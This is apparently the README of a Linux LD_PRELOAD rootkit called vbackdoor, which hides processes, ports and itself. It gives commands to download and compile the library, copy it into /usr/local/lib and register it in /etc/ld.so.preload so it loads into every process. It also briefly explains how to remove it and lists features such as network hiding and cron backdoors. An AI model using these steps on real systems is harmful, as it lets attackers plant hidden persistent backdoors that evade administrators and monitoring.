Hide process,port,self under Linux using the LD_PRELOAD rootkit.
git clone https://github.com/veo/vbackdoor.git
cd vbackdoor
vi vbackdoor.c
make
sudo mv vbackdoor.so /usr/local/lib/
or
wget https://raw.githubusercontent.com/veo/vbackdoor/main/vbackdoor.c
vi vbackdoor.c
gcc -Wall -fPIC -shared -o vbackdoor.so vbackdoor.c -ldl
sudo mv vbackdoor.so /usr/local/lib/
echo /usr/local/lib/vbackdoor.so >> /etc/ld.so.preload
vi /etc/ld.so.preload
and delete string "/usr/local/lib/vbackdoor.so"
or
use busybox
busybox rm -rf /etc/ld.so.preload
- Process hiding
- LD_PRELOAD hiding
- Network hiding
- cron Backdoors